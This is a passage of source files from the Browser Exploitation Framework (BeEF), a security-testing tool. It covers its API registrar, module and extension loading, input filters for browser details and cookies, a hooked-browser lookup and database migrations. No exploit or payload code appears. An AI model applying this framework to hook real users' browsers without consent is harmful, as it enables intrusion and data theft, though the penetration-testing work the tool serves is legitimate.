end\n\n      #\n      # Retrieves all the owners and ID's of an API hook\n      # @param [Class] clss the target API class\n      # @param [String] method the method of the target API class\n      # @param [Array] params an array of parameters that need to be matched\n      #\n      # @return [Array] an array of hashes consisting of two keys :owner and :id\n      #\n      def get_owners(clss, method, params = [])\n        owners = []\n        @registry.each do |r|\n          next unless r['class'] == clss\n          next unless r['method'] == method\n          next unless is_matched_params? r, params\n\n          owners << { owner: r['owner'], id: r['id'] }\n        end\n        owners\n      end\n\n      #\n      # Verifies that the api_path has been regitered\n      # Verifies the API path has been registered.\n      #\n      # @note This is a security precaution\n      #\n      # @param [Class] clss the target API class to verify\n      # @param [String] mthd the target method to verify\n      #\n      def verify_api_path(clss, mthd)\n        (clss.const_defined?('API_PATHS') && clss.const_get('API_PATHS').key?(mthd))\n      end\n\n      #\n      # Retrieves the registered symbol reference for an API hook\n      #\n      # @param [Class] clss the target API class to verify\n      # @param [String] mthd the target method to verify\n      #\n      # @return [Symbol] the API path\n      #\n      def get_api_path(clss, mthd)\n        verify_api_path(clss, mthd) ? clss.const_get('API_PATHS')[mthd] : nil\n      end\n\n      #\n      # Matches stored API params to params\n      #\n      # @note If a stored API parameter has a NilClass the parameter matching is skipped for that parameter\n      # @note By default this method returns true, this is either because the API.fire() did not include any parameters or there were no parameters defined for this registry entry\n      #\n      # @param [Hash] reg hash of registry element, must contain 'params' key\n      # @param [Array] params array of parameters to be compared to the stored parameters\n      #\n      # @return [Boolean] whether params matches the stored API parameters\n      #\n      def is_matched_params?(reg, params)\n        stored = reg['params']\n        return true unless stored.length == params.length\n\n        stored.each_index do |i|\n          next if stored[i].nil?\n          return false unless stored[i] == params[i]\n        end\n\n        true\n      end\n\n      #\n      # Fires all owners registered to this API hook\n      #\n      # @param [Class] clss the target API class\n      # @param [String] mthd the target API method\n      # @param [Array] *args parameters passed for the API call\n      #\n      # @return [Hash, NilClass] returns either a Hash of :api_id and :data\n      #         if the owners return data, otherwise NilClass\n      #\n      def fire(clss, mthd, *args)\n        mods = get_owners(clss, mthd, args)\n        return nil unless mods.length.positive?\n\n        unless verify_api_path(clss, mthd) && clss.ancestors.first.to_s.start_with?('BeEF::API')\n          print_error \"API Path not defined for Class: #{clss} method: #{mthd}\"\n          return []\n        end\n\n        data = []\n        method = get_api_path(clss, mthd)\n        mods.each do |mod|\n          # Only used for API Development (very verbose)\n          # print_info \"API: #{mod} fired #{method}\"\n\n          result = mod[:owner].method(method).call(*args)\n          data << { api_id: mod[:id], data: result } unless result.nil?\n        rescue StandardError => e\n          print_error \"API Fire Error: #{e.message} in #{mod}.#{method}()\"\n        end\n\n        data\n      end\n    end\n  end\nend\n\nrequire 'core/api/module'\nrequire 'core/api/modules'\nrequire 'core/api/extension'\nrequire 'core/api/extensions'\nrequire 'core/api/main/migration'\nrequire 'core/api/main/network_stack/assethandler'\nrequire 'core/api/main/server'\nrequire 'core/api/main/server/hook'\nrequire 'core/api/main/configuration'\n"
  },
  {
    "path": "core/bootstrap.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Core\n  end\nend\n\n## @note Include the BeEF router\nrequire 'core/main/router/router'\nrequire 'core/main/router/api'\n\n## @note Include http server functions for beef\nrequire 'core/main/server'\nrequire 'core/main/handlers/modules/beefjs'\nrequire 'core/main/handlers/modules/legacybeefjs'\nrequire 'core/main/handlers/modules/multistagebeefjs'\nrequire 'core/main/handlers/modules/command'\nrequire 'core/main/handlers/commands'\nrequire 'core/main/handlers/hookedbrowsers'\nrequire 'core/main/handlers/browserdetails'\n\n# @note Include the network stack\nrequire 'core/main/network_stack/handlers/dynamicreconstruction'\nrequire 'core/main/network_stack/handlers/redirector'\nrequire 'core/main/network_stack/handlers/raw'\nrequire 'core/main/network_stack/assethandler'\nrequire 'core/main/network_stack/api'\n\n# @note Include the autorun engine\nrequire 'core/main/autorun_engine/parser'\nrequire 'core/main/autorun_engine/engine'\nrequire 'core/main/autorun_engine/rule_loader'\n\n## @note Include helpers\nrequire 'core/module'\nrequire 'core/modules'\nrequire 'core/extension'\nrequire 'core/extensions'\nrequire 'core/hbmanager'\n\n## @note Include RESTful API\nrequire 'core/main/rest/handlers/hookedbrowsers'\nrequire 'core/main/rest/handlers/browserdetails'\nrequire 'core/main/rest/handlers/modules'\nrequire 'core/main/rest/handlers/categories'\nrequire 'core/main/rest/handlers/logs'\nrequire 'core/main/rest/handlers/admin'\nrequire 'core/main/rest/handlers/server'\nrequire 'core/main/rest/handlers/autorun_engine'\nrequire 'core/main/rest/api'\n\n## @note Include Websocket\nrequire 'core/main/network_stack/websocket/websocket'\n"
  },
  {
    "path": "core/core.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Core\n  end\nend\n\n# @note Includes database models - the order must be consistent otherwise DataMapper goes crazy\nrequire 'core/main/model'\nrequire 'core/main/models/commandmodule'\nrequire 'core/main/models/hookedbrowser'\nrequire 'core/main/models/log'\nrequire 'core/main/models/command'\nrequire 'core/main/models/result'\nrequire 'core/main/models/optioncache'\nrequire 'core/main/models/browserdetails'\nrequire 'core/main/models/rule'\nrequire 'core/main/models/execution'\nrequire 'core/main/models/legacybrowseruseragents'\n\n# @note Include the constants\nrequire 'core/main/constants/browsers'\nrequire 'core/main/constants/commandmodule'\nrequire 'core/main/constants/os'\nrequire 'core/main/constants/hardware'\n\n# @note Include core modules for beef\nrequire 'core/main/configuration'\nrequire 'core/main/command'\nrequire 'core/main/crypto'\nrequire 'core/main/logger'\nrequire 'core/main/migration'\nrequire 'core/main/geoip'\n\n# @note Include the command line parser and the banner printer\nrequire 'core/main/console/commandline'\nrequire 'core/main/console/banners'\n"
  },
  {
    "path": "core/extension.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extension\n    # Checks to see if extension is set inside the configuration\n    # @param [String] ext the extension key\n    # @return [Boolean] whether or not the extension exists in BeEF's configuration\n    def self.is_present(ext)\n      BeEF::Core::Configuration.instance.get('beef.extension').key? ext.to_s\n    end\n\n    # Checks to see if extension is enabled in configuration\n    # @param [String] ext the extension key\n    # @return [Boolean] whether or not the extension is enabled\n    def self.is_enabled(ext)\n      return false unless is_present(ext)\n\n      BeEF::Core::Configuration.instance.get(\"beef.extension.#{ext}.enable\") == true\n    end\n\n    # Checks to see if extension has been loaded\n    # @param [String] ext the extension key\n    # @return [Boolean] whether or not the extension is loaded\n    def self.is_loaded(ext)\n      return false unless is_enabled(ext)\n\n      BeEF::Core::Configuration.instance.get(\"beef.extension.#{ext}.loaded\") == true\n    end\n\n    # Loads an extension\n    # @param [String] ext the extension key\n    # @return [Boolean] whether or not the extension loaded successfully\n    def self.load(ext)\n      if File.exist? \"#{$root_dir}/extensions/#{ext}/extension.rb\"\n        require \"#{$root_dir}/extensions/#{ext}/extension.rb\"\n        print_debug \"Loaded extension: '#{ext}'\"\n        BeEF::Core::Configuration.instance.set \"beef.extension.#{ext}.loaded\", true\n        return true\n      end\n      print_error \"Unable to load extension '#{ext}'\"\n      false\n    rescue StandardError => e\n      print_error \"Unable to load extension '#{ext}':\"\n      print_more e.message\n    end\n  end\nend\n"
  },
  {
    "path": "core/extensions.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Extensions\n    # Returns configuration of all enabled extensions\n    # @return [Array] an array of extension configuration hashes that are enabled\n    def self.get_enabled\n      BeEF::Core::Configuration.instance.get('beef.extension').select { |_k, v| v['enable'] == true }\n    rescue StandardError => e\n      print_error \"Failed to get enabled extensions: #{e.message}\"\n      print_error e.backtrace\n    end\n\n    # Returns configuration of all loaded extensions\n    # @return [Array] an array of extension configuration hashes that are loaded\n    def self.get_loaded\n      BeEF::Core::Configuration.instance.get('beef.extension').select { |_k, v| v['loaded'] == true }\n    rescue StandardError => e\n      print_error \"Failed to get loaded extensions: #{e.message}\"\n      print_error e.backtrace\n    end\n\n    # Load all enabled extensions\n    # @note API fire for post_load\n    def self.load\n      BeEF::Core::Configuration.instance.load_extensions_config\n      get_enabled.each do |k, _v|\n        BeEF::Extension.load k\n      end\n      # API post extension load\n      BeEF::API::Registrar.instance.fire BeEF::API::Extensions, 'post_load'\n    rescue StandardError => e\n      print_error \"Failed to load extensions: #{e.message}\"\n      print_error e.backtrace\n    end\n  end\nend\n"
  },
  {
    "path": "core/filters/base.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Filters\n    # Check if the string is not empty and not nil\n    #   @param [String] str String for testing\n    #   @return [Boolean] Whether the string is not empty\n    def self.is_non_empty_string?(str)\n      return false if str.nil?\n      return false unless str.is_a? String\n      return false if str.empty?\n\n      true\n    end\n\n    # Check if only the characters in 'chars' are in 'str'\n    #   @param [String] chars List of characters to match\n    #   @param [String] str String for testing\n    #   @return [Boolean] Whether or not the only characters in str are specified in chars\n    def self.only?(chars, str)\n      regex = Regexp.new('[^' + chars + ']')\n      regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil?\n    end\n\n    # Check if one or more characters in 'chars' are in 'str'\n    #   @param [String] chars List of characters to match\n    #   @param [String] str String for testing\n    #   @return [Boolean] Whether one of the characters exists in the string\n    def self.exists?(chars, str)\n      regex = Regexp.new(chars)\n      !regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil?\n    end\n\n    # Check for null char\n    #   @param [String] str String for testing\n    #   @return [Boolean] If the string has a null character\n    def self.has_null?(str)\n      return false unless is_non_empty_string?(str)\n\n      exists?('\\x00', str)\n    end\n\n    # Check for non-printable char\n    #   @param [String] str String for testing\n    #   @return [Boolean] Whether or not the string has non-printable characters\n    def self.has_non_printable_char?(str)\n      return false unless is_non_empty_string?(str)\n\n      !only?('[:print:]', str)\n    end\n\n    # Check if num characters only\n    #   @param [String] str String for testing\n    #   @return [Boolean] If the string only contains numbers\n    def self.nums_only?(str)\n      return false unless is_non_empty_string?(str)\n\n      only?('0-9', str)\n    end\n\n    # Check if valid float\n    #   @param [String] str String for float testing\n    #   @return [Boolean] If the string is a valid float\n    def self.is_valid_float?(str)\n      return false unless is_non_empty_string?(str)\n      return false unless only?('0-9\\.', str)\n\n      !(str =~ /^\\d+\\.\\d+$/).nil?\n    end\n\n    # Check if hex characters only\n    #   @param [String] str String for testing\n    #   @return [Boolean] If the string only contains hex characters\n    def self.hexs_only?(str)\n      return false unless is_non_empty_string?(str)\n\n      only?('0123456789ABCDEFabcdef', str)\n    end\n\n    # Check if first character is a number\n    #   @param [String] String for testing\n    #   @return [Boolean] If the first character of the string is a number\n    def self.first_char_is_num?(str)\n      return false unless is_non_empty_string?(str)\n\n      !(str =~ /^\\d.*/).nil?\n    end\n\n    # Check for space characters: \\t\\n\\r\\f\n    #   @param [String] str String for testing\n    #   @return [Boolean] If the string has a whitespace character\n    def self.has_whitespace_char?(str)\n      return false unless is_non_empty_string?(str)\n\n      exists?('\\s', str)\n    end\n\n    # Check for non word characters: a-zA-Z0-9\n    #   @param [String] str String for testing\n    #   @return [Boolean] If the string only has alphanums\n    def self.alphanums_only?(str)\n      return false unless is_non_empty_string?(str)\n\n      only?('a-zA-Z0-9', str)\n    end\n\n    # @overload self.is_valid_ip?(ip, version)\n    # Checks if the given string is a valid IP address\n    #   @param [String] ip string to be tested\n    #   @param [Symbol] version IP version (either <code>:ipv4</code> or <code>:ipv6</code>)\n    #   @return [Boolean] true if the string is a valid IP address, otherwise false\n    #\n    # @overload self.is_valid_ip?(ip)\n    # Checks if the given string is either a valid IPv4 or IPv6 address\n    #   @param [String] ip string to be tested\n    #   @return [Boolean] true if the string is a valid IPv4 or IPV6 address, otherwise false\n    def self.is_valid_ip?(ip, version = :both)\n      return false unless is_non_empty_string?(ip)\n\n      if case version.inspect.downcase\n         when /^:ipv4$/\n           ip =~ /^((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\\.){3,3}\n             (25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])$/x\n         when /^:ipv6$/\n           ip =~ /^(([0-9a-f]{1,4}:){7,7}[0-9a-f]{1,4}|\n             ([0-9a-f]{1,4}:){1,7}:|\n             ([0-9a-f]{1,4}:){1,6}:[0-9a-f]{1,4}|\n             ([0-9a-f]{1,4}:){1,5}(:[0-9a-f]{1,4}){1,2}|\n             ([0-9a-f]{1,4}:){1,4}(:[0-9a-f]{1,4}){1,3}|\n             ([0-9a-f]{1,4}:){1,3}(:[0-9a-f]{1,4}){1,4}|\n             ([0-9a-f]{1,4}:){1,2}(:[0-9a-f]{1,4}){1,5}|\n             [0-9a-f]{1,4}:((:[0-9a-f]{1,4}){1,6})|\n             :((:[0-9a-f]{1,4}){1,7}|:)|\n             fe80:(:[0-9a-f]{0,4}){0,4}%[0-9a-z]{1,}|\n             ::(ffff(:0{1,4}){0,1}:){0,1}\n             ((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}\n             (25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|\n             ([0-9a-f]{1,4}:){1,4}:\n             ((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}\n             (25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/ix\n         when /^:both$/\n           is_valid_ip?(ip, :ipv4) || is_valid_ip?(ip, :ipv6)\n         end\n        true\n      else\n        false\n      end\n    end\n\n    # Checks if the given string is a valid private IP address\n    #   @param [String] ip string for testing\n    #   @return [Boolean] true if the string is a valid private IP address, otherwise false\n    # @note Includes RFC1918 private IPv4, private IPv6, and localhost 127.0.0.0/8, but does not include local-link addresses.\n    def self.is_valid_private_ip?(ip)\n      return false unless is_valid_ip?(ip)\n\n      ip =~ /\\A(^127\\.)|(^192\\.168\\.)|(^10\\.)|(^172\\.1[6-9]\\.)|(^172\\.2[0-9]\\.)|(^172\\.3[0-1]\\.)|(^::1$)|(^[fF][cCdD])\\z/ ? true : false\n    end\n\n    # Checks if the given string is a valid TCP port\n    #   @param [String] port string for testing\n    #   @return [Boolean] true if the string is a valid TCP port, otherwise false\n    def self.is_valid_port?(port)\n      valid = false\n      valid = true if port.to_i > 0 && port.to_i < 2**16\n      valid\n    end\n\n    # Checks if string is a valid domain name\n    #   @param [String] domain string for testing\n    #   @return [Boolean] If the string is a valid domain name\n    # @note Only validates the string format. It does not check for a valid TLD since ICANN's list of TLD's is not static.\n    def self.is_valid_domain?(domain)\n      return false unless is_non_empty_string?(domain)\n      return true if domain =~ /^[0-9a-z-]+(\\.[0-9a-z-]+)*(\\.[a-z]{2,}).?$/i\n\n      false\n    end\n\n    # Check for valid browser details characters\n    #   @param [String] str String for testing\n    #   @return [Boolean] If the string has valid browser details characters\n    # @note This function passes the \\302\\256 character which translates to the registered symbol (r)\n    def self.has_valid_browser_details_chars?(str)\n      return false unless is_non_empty_string?(str)\n\n      (str =~ %r{[^\\w\\d\\s()-.,;:_/!\\302\\256]}).nil?\n    end\n\n    # Check for valid base details characters\n    #   @param [String] str String for testing\n    #   @return [Boolean] If the string has only valid base characters\n    # @note This is for basic filtering where possible all specific filters must be implemented\n    # @note This function passes the \\302\\256 character which translates to the registered symbol (r)\n    def self.has_valid_base_chars?(str)\n      return false unless is_non_empty_string?(str)\n\n      (str =~ /[^\\302\\256[:print:]]/).nil?\n    end\n\n    # Verify the yes and no is valid\n    #   @param [String] str String for testing\n    #   @return [Boolean] If the string is either 'yes' or 'no'\n    def self.is_valid_yes_no?(str)\n      return false if has_non_printable_char?(str)\n      return false if str !~ /\\A(Yes|No)\\z/i\n\n      true\n    end\n  end\nend\n"
  },
  {
    "path": "core/filters/browser.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Filters\n    # Check the browser type value - for example, 'FF'\n    # @param [String] str String for testing\n    # @return [Boolean] If the string has valid browser name characters\n    def self.is_valid_browsername?(str) # rubocop:disable Naming/PredicatePrefix\n      return false unless is_non_empty_string?(str)\n      return false if str.length > 2\n      return false unless has_valid_browser_details_chars?(str)\n\n      true\n    end\n\n    # Check the Operating System name value - for example, 'Windows XP'\n    # @param [String] str String for testing\n    # @return [Boolean] If the string has valid Operating System name characters\n    def self.is_valid_osname?(str) # rubocop:disable Naming/PredicatePrefix\n      return false unless is_non_empty_string?(str)\n      return false unless has_valid_browser_details_chars?(str)\n      return false if str.length < 2\n\n      true\n    end\n\n    # Check the Hardware name value - for example, 'iPhone'\n    # @param [String] str String for testing\n    # @return [Boolean] If the string has valid Hardware name characters\n    def self.is_valid_hwname?(str) # rubocop:disable Naming/PredicatePrefix\n      return false unless is_non_empty_string?(str)\n      return false unless has_valid_browser_details_chars?(str)\n      return false if str.length < 2\n\n      true\n    end\n\n    # Verify the browser version string is valid\n    # @param [String] str String for testing\n    # @return [Boolean] If the string has valid browser version characters\n    def self.is_valid_browserversion?(str) # rubocop:disable Naming/PredicatePrefix\n      return false unless is_non_empty_string?(str)\n      return false if has_non_printable_char?(str)\n      return true if str.eql? 'UNKNOWN'\n      return true if str.eql? 'ALL'\n      return false if !nums_only?(str) && !str.match(/\\A(0|[1-9][0-9]{0,3})(\\.(0|[1-9][0-9]{0,3})){0,3}\\z/)\n      return false if str.length > 20\n\n      true\n    end\n\n    # Verify the os version string is valid\n    # @param [String] str String for testing\n    # @return [Boolean] If the string has valid os version characters\n    def self.is_valid_osversion?(str) # rubocop:disable Naming/PredicatePrefix\n      return false unless is_non_empty_string?(str)\n      return false if has_non_printable_char?(str)\n      return true if str.eql? 'UNKNOWN'\n      return true if str.eql? 'ALL'\n      return false unless BeEF::Filters.only?('a-zA-Z0-9.<=> ', str)\n      return false if str.length > 20\n\n      true\n    end\n\n    # Verify the browser/UA string is valid\n    # @param [String] str String for testing\n    # @return [Boolean] If the string has valid browser / ua string characters\n    def self.is_valid_browserstring?(str) # rubocop:disable Naming/PredicatePrefix\n      return false unless is_non_empty_string?(str)\n      return false unless has_valid_browser_details_chars?(str)\n      return false if str.length > 300\n\n      true\n    end\n\n    # Verify the cookies are valid\n    # @param [String] str String for testing\n    # @return [Boolean] If the string has valid cookie characters\n    def self.is_valid_cookies?(str) # rubocop:disable Naming/PredicatePrefix\n      return false unless is_non_empty_string?(str)\n      return false if has_non_printable_char?(str)\n      return false if str.length > 2000\n\n      true\n    end\n\n    # Verify the system platform is valid\n    # @param [String] str String for testing\n    # @return [Boolean] If the string has valid system platform characters\n    def self.is_valid_system_platform?(str) # rubocop:disable Naming/PredicatePrefix\n      return false unless is_non_empty_string?(str)\n      return false unless has_valid_browser_details_chars?(str)\n      return false if str.length > 200\n\n      true\n    end\n\n    # Verify the date stamp is valid\n    # @param [String] str String for testing\n    # @return [Boolean] If the string has valid date stamp characters\n    def self.is_valid_date_stamp?(str) # rubocop:disable Naming/PredicatePrefix\n      return false unless is_non_empty_string?(str)\n      return false if has_non_printable_char?(str)\n      return false if str.length > 200\n\n      true\n    end\n\n    # Verify the CPU type string is valid\n    # @param [String] str String for testing\n    # @return [Boolean] If the string has valid CPU type characters\n    def self.is_valid_cpu?(str) # rubocop:disable Naming/PredicatePrefix\n      return false unless is_non_empty_string?(str)\n      return false if has_non_printable_char?(str)\n      return false if str.length > 200\n\n      true\n    end\n\n    # Verify the memory string is valid\n    # @param [String] str String for testing\n    # @return [Boolean] If the string has valid memory type characters\n    def self.is_valid_memory?(str) # rubocop:disable Naming/PredicatePrefix\n      return false unless is_non_empty_string?(str)\n      return false if has_non_printable_char?(str)\n      return false if str.length > 200\n\n      true\n    end\n\n    # Verify the GPU type string is valid\n    # @param [String] str String for testing\n    # @return [Boolean] If the string has valid GPU type characters\n    def self.is_valid_gpu?(str) # rubocop:disable Naming/PredicatePrefix\n      return false unless is_non_empty_string?(str)\n      return false if has_non_printable_char?(str)\n      return false if str.length > 200\n\n      true\n    end\n\n    # Verify the browser_plugins string is valid\n    # @param [String] str String for testing\n    # @return [Boolean] If the string has valid browser plugin characters\n    # @note This string can be empty if there are no browser plugins\n    # @todo Verify if the ruby version statement is still necessary\n    def self.is_valid_browser_plugins?(str) # rubocop:disable Naming/PredicatePrefix\n      return false unless is_non_empty_string?(str)\n      return false if str.length > 1000\n\n      if str.encoding == Encoding.find('UTF-8') # Style/CaseEquality: Avoid the use of the case equality operator `===`.\n        (str =~ /[^\\w\\d\\s()-.,';_!\\302\\256]/u).nil?\n      else\n        (str =~ /[^\\w\\d\\s()-.,';_!\\302\\256]/n).nil?\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/filters/command.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Filters\n    # Check if the string is a valid path from a HTTP request\n    # @param [String] str String for testing\n    # @return [Boolean] If the string has valid path characters\n    def self.is_valid_path_info?(str)\n      return false if str.nil?\n      return false unless str.is_a? String\n      return false if has_non_printable_char?(str)\n\n      true\n    end\n\n    # Check if the session id valid\n    # @param [String] str String for testing\n    # @return [Boolean] If the string has valid hook session id characters\n    def self.is_valid_hook_session_id?(str)\n      return false unless is_non_empty_string?(str)\n      return false unless has_valid_key_chars?(str)\n\n      true\n    end\n\n    # Check if valid command module datastore key\n    # @param [String] str String for testing\n    # @return [Boolean] If the string has valid command module datastore key characters\n    def self.is_valid_command_module_datastore_key?(str)\n      return false unless is_non_empty_string?(str)\n      return false unless has_valid_key_chars?(str)\n\n      true\n    end\n\n    # Check if valid command module datastore value\n    # @param [String] str String for testing\n    # @return [Boolean] If the string has valid command module datastore param characters\n    def self.is_valid_command_module_datastore_param?(str)\n      return false if has_null?(str)\n      return false unless has_valid_base_chars?(str)\n\n      true\n    end\n\n    # Check for word and some punc chars\n    # @param [String] str String for testing\n    # @return [Boolean] If the string has valid key characters\n    def self.has_valid_key_chars?(str)\n      return false unless is_non_empty_string?(str)\n      return false unless has_valid_base_chars?(str)\n\n      true\n    end\n\n    # Check for word and underscore chars\n    # @param [String] str String for testing\n    # @return [Boolean] If the sting has valid param characters\n    def self.has_valid_param_chars?(str)\n      return false if str.nil?\n      return false unless str.is_a? String\n      return false if str.empty?\n      return false unless (str =~ /[^\\w_:]/).nil?\n\n      true\n    end\n  end\nend\n"
  },
  {
    "path": "core/filters/http.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Filters\n    # Verify the hostname string is valid\n    # @param [String] str String for testing\n    # @return [Boolean] If the string is a valid hostname\n    def self.is_valid_hostname?(str)\n      return false unless is_non_empty_string?(str)\n      return false if has_non_printable_char?(str)\n      return false if str.length > 255\n      return false if (str =~ /^[a-zA-Z0-9][a-zA-Z0-9\\-.]*[a-zA-Z0-9]$/).nil?\n\n      true\n    end\n\n    def self.is_valid_verb?(verb)\n      %w[HEAD GET POST OPTIONS PUT DELETE].each { |v| return true if verb.eql? v }\n      false\n    end\n\n    def self.is_valid_url?(uri)\n      return true unless uri.nil?\n\n      # OPTIONS * is not yet supported\n      # return true if uri.eql? \"*\"\n      # TODO : CHECK THE normalize_path method and include it somewhere (maybe here)\n      # return true if uri.eql? self.normalize_path(uri)\n      false\n    end\n\n    def self.is_valid_http_version?(version)\n      # from browsers the http version contains a space at the end (\"HTTP/1.0\\r\")\n      version.gsub!(/\\r+/, '')\n      ['HTTP/1.0', 'HTTP/1.1'].each { |v| return true if version.eql? v }\n      false\n    end\n\n    def self.is_valid_host_str?(host_str)\n      # from browsers the host header contains a space at the end\n      host_str.gsub!(/\\r+/, '')\n      return true if 'Host:'.eql?(host_str)\n\n      false\n    end\n\n    def normalize_path(path)\n      print_error \"abnormal path `#{path}'\" if path[0] != '/'\n      ret = path.dup\n\n      ret.gsub!(%r{/+}o, '/')                    # //      => /\n      while ret.sub!(%r{/\\.(?:/|\\Z)}, '/'); end  # /.      => /\n      while ret.sub!(%r{/(?!\\.\\./)[^/]+/\\.\\.(?:/|\\Z)}, '/'); end # /foo/.. => /foo\n\n      print_error \"abnormal path `#{path}'\" if %r{/\\.\\.(/|\\Z)} =~ ret\n      ret\n    end\n  end\nend\n"
  },
  {
    "path": "core/filters/page.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Filters\n    # Verify the page title string is valid\n    # @param [String] str String for testing\n    # @return [Boolean] If the string is a valid page title\n    def self.is_valid_pagetitle?(str)\n      return false unless str.is_a? String\n      return false if has_non_printable_char?(str)\n      return false if str.length > 500 # CxF Increased this because some page titles are MUCH longer\n\n      true\n    end\n\n    # Verify the page referrer string is valid\n    # @param [String] str String for testing\n    # @return [Boolean] If the string is a valid referrer\n    def self.is_valid_pagereferrer?(str)\n      return false unless str.is_a? String\n      return false if has_non_printable_char?(str)\n      return false if str.length > 350\n\n      true\n    end\n  end\nend\n"
  },
  {
    "path": "core/filters.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Filters\n  end\nend\n\n# @note Include the filters\nrequire 'core/filters/base'\nrequire 'core/filters/browser'\nrequire 'core/filters/command'\nrequire 'core/filters/page'\nrequire 'core/filters/http'\n"
  },
  {
    "path": "core/hbmanager.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module HBManager\n    # Get hooked browser by session id\n    # @param [String] sid hooked browser session id string\n    # @return [BeEF::Core::Models::HookedBrowser] returns the associated Hooked Browser\n    def self.get_by_session(sid)\n      BeEF::Core::Models::HookedBrowser.where(session: sid).first\n    end\n\n    # Get hooked browser by id\n    # @param [Integer] id hooked browser database id\n    # @return [BeEF::Core::Models::HookedBrowser] returns the associated Hooked Browser\n    def self.get_by_id(id)\n      BeEF::Core::Models::HookedBrowser.find(id)\n    end\n  end\nend\n"
  },
  {
    "path": "core/loader.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\n# @note Include here all the gems we are using\nrequire 'rubygems'\nrequire 'bundler/setup'\n\n# For some reason, on Ruby 2.5+, msgpack needs to be loaded first,\n# else metasploit integration dies due to undefined `to_msgpack`.\n# Works fine on Ruby 2.4\nrequire 'msgpack'\n\nBundler.require(:default)\n\nrequire 'cgi'\nrequire 'yaml'\nrequire 'singleton'\nrequire 'ipaddr'\nrequire 'base64'\nrequire 'xmlrpc/client'\nrequire 'openssl'\nrequire 'eventmachine'\nrequire 'thin'\nrequire 'rack'\nrequire 'em-websocket'\nrequire 'uglifier'\nrequire 'execjs'\nrequire 'ansi'\nrequire 'term/ansicolor'\nrequire 'json'\nrequire 'otr-activerecord'\nrequire 'parseconfig'\nrequire 'erubis'\nrequire 'mime/types'\nrequire 'optparse'\nrequire 'resolv'\nrequire 'digest'\nrequire 'zip'\nrequire 'logger'\n# @note Logger\nrequire 'core/logger'\n\n# @note Include the filters\nrequire 'core/filters'\n\n# @note Include our patches for ruby and gems\nrequire 'core/ruby'\n\n# @note Include the API\nrequire 'core/api'\n\n# @note Include the settings\nrequire 'core/settings'\n\n# @note Include the core of BeEF\nrequire 'core/core'\n"
  },
  {
    "path": "core/logger.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\n#\n# @note log to file\n#\nmodule BeEF\n  class << self\n    attr_writer :logger\n\n    def logger\n      @logger ||= Logger.new(\"#{$home_dir}/beef.log\").tap do |log|\n        log.progname = name\n        log.level = Logger::WARN\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/ar-migrations/001_create_command_modules.rb",
    "content": "class CreateCommandModules < ActiveRecord::Migration[6.0]\n  def change\n    create_table :command_modules do |t|\n      t.text :name\n      t.text :path\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/ar-migrations/002_create_hooked_browsers.rb",
    "content": "class CreateHookedBrowsers < ActiveRecord::Migration[6.0]\n  def change\n    create_table :hooked_browsers do |t|\n      t.text :session\n      t.text :ip\n      t.text :firstseen\n      t.text :lastseen\n      t.text :httpheaders\n      t.text :domain\n      t.integer :port\n      t.integer :count\n      t.boolean :is_proxy\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/ar-migrations/003_create_logs.rb",
